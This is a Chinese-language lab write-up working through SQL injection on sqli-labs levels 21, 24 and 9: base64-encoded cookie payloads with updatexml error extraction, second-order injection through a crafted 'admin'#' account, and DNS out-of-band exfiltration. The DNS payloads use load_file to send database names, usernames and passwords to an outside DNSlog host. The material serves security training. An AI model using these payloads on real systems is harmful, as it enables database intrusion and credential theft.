SQL注入之二次、加解密、DNS等注入
1.sql的加解密:sqli-labs-21
为什么会对sql注入的加解密呢其实这个去抓个包就很好理解了

用admin admin登入进去抓包后得到这样的页面

发现了Cookie: uname=YWRtaW4%3D
然后尝试去解密:得到admin
这个就是其中的注入要求,加密进去然后脚本base64解密然后传进去,才能达到我们想要的效果
然后开始注入(先把源代码写出来然后再去加密然后再传进去):
也可以把 or '1'='1 换成 or' # 格式:
1.判断是否正常回显
admin' and 1=1 #
YWRtaW4nIGFuZCAxPTEgIw==
admin' and 1=2 #
YWRtaW4nIGFuZCAxPTIgIw==
2.报错查询看查数据库的版本和名字
admin' or updatexml(1,concat(0x7e,version(),0x7e),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSwweDdlKSwxKSBvciAnMSc9JzE=
admin' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgJzEnPScx
3.查表名
admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JykpLDEpIG9yICcxJz0nMQ==
4.查列数据:
admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2VycycpKSwxKSBvciAnMSc9JzE=
5.得到最终数据
admin' or updatexml(1,concat(0x7e,(select group_concat(password) from users)),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx
admin' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) or '1'='1
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzKSksMSkgb3IgJzEnPScx
得到最后的数据
2.sql的二次注入:sqli-labs-24
对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入
尝试去注册一个账户,密码用户名都是1

然后去修改密码,这个时候就可以尝试二次注入(二次注入的本质是 “信任了来自数据库的数据”)(原理是因为代码前面是之前的密码,但是后面还有你最近修改的密码,我如果使用1'#,就可以实现对于之前相同用户的密码的修改,从而找到注入点)
开始尝试:
1.观察security的内容

2.注册一个用户名字为admin'#的用户,密码为123456

然后看数据库的反应

此时加入了admin'#,密码是123456的数据
3.修改admin’#的密码这个密码不是修改admin'#的数据而是修改admin的数据,原理在开头已经阐释,然后开始操作:

如果对于sql的二次注入通常使用在有注册,登录,找回密码这种页面上面可以进行二次注入,不行的话那就只有尝试盲注了
3.sql的dns注入:sqli-labs-9
sql的dns注入就是对盲注都没有回显的一种处理方式,这个也可以进行脚本跑(sqlmap利用插件)
DNS注入核心原理
核心思想: 利用数据库函数发起一个DNS解析请求,并将我们想窃取的数据作为域名的一部分。通过监控DNS查询日志,我们就能看到被窃取的数据。
攻击流程(以MySQL的 load_file() 函数为例):
-
构造Payload: 攻击者构造一个特殊的SQL查询。
-
触发查询: 存在漏洞的应用程序执行了这个查询。
-
DNS解析: 数据库服务器尝试解析一个包含敏感数据的“域名”。
-
数据外带: 攻击者通过查看自己控制的DNS服务器的日志,直接看到被查询的“域名”,从而获取数据。
然后对于这道题开始尝试

1.尝试了
http://127.0.0.1:8081/Less-9/?id=1
http://127.0.0.1:8081/Less-9/?id=1'
http://127.0.0.1:8081/Less-9/?id=1' and 1=1
http://127.0.0.1:8081/Less-9/?id=1' and 1=2
然后再尝试时间盲注
?id=1' and sleep(5)--+此时反应五秒发现也没有问题但是页面还是显示的是
You are in...........
2.此时就是使用dnslog注入了:
对于dnslog的平台可以自行选择:
http://www.dnslog.cn/
https://dig.pm/
http://ceye.io/profile
http://eyes.sh/dns/等等
然后尝试:
我是用的是http://eyes.sh/dns/
1. 获取数据库名
?id=1' and load_file(concat('\\\\',(select database()),'.lllxxy.eyes.sh\\abc'))--+
-
select database()获取当前数据库名 -
构造UNC路径:
\\数据库名.lllxxy.eyes.sh\abc -
DNS查询会包含数据库名
2. 获取表名
?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
-
从
information_schema.tables获取表名 -
limit 0,1获取第一个表 -
可以修改limit参数遍历所有表
3. 获取列名
?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
-
从
information_schema.columns获取列名 -
指定表名
users -
获取第一个列名
4. 获取数据
?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
?id=1' and load_file(concat('\\\\',(select password from users limit 0,1),'.lllxxy.eyes.sh\\abc'))--+
-
从users表获取具体数据
-
分别获取username和password字段
意义:
解决盲注不能回显数据---盲注比较繁琐
效率低的问题
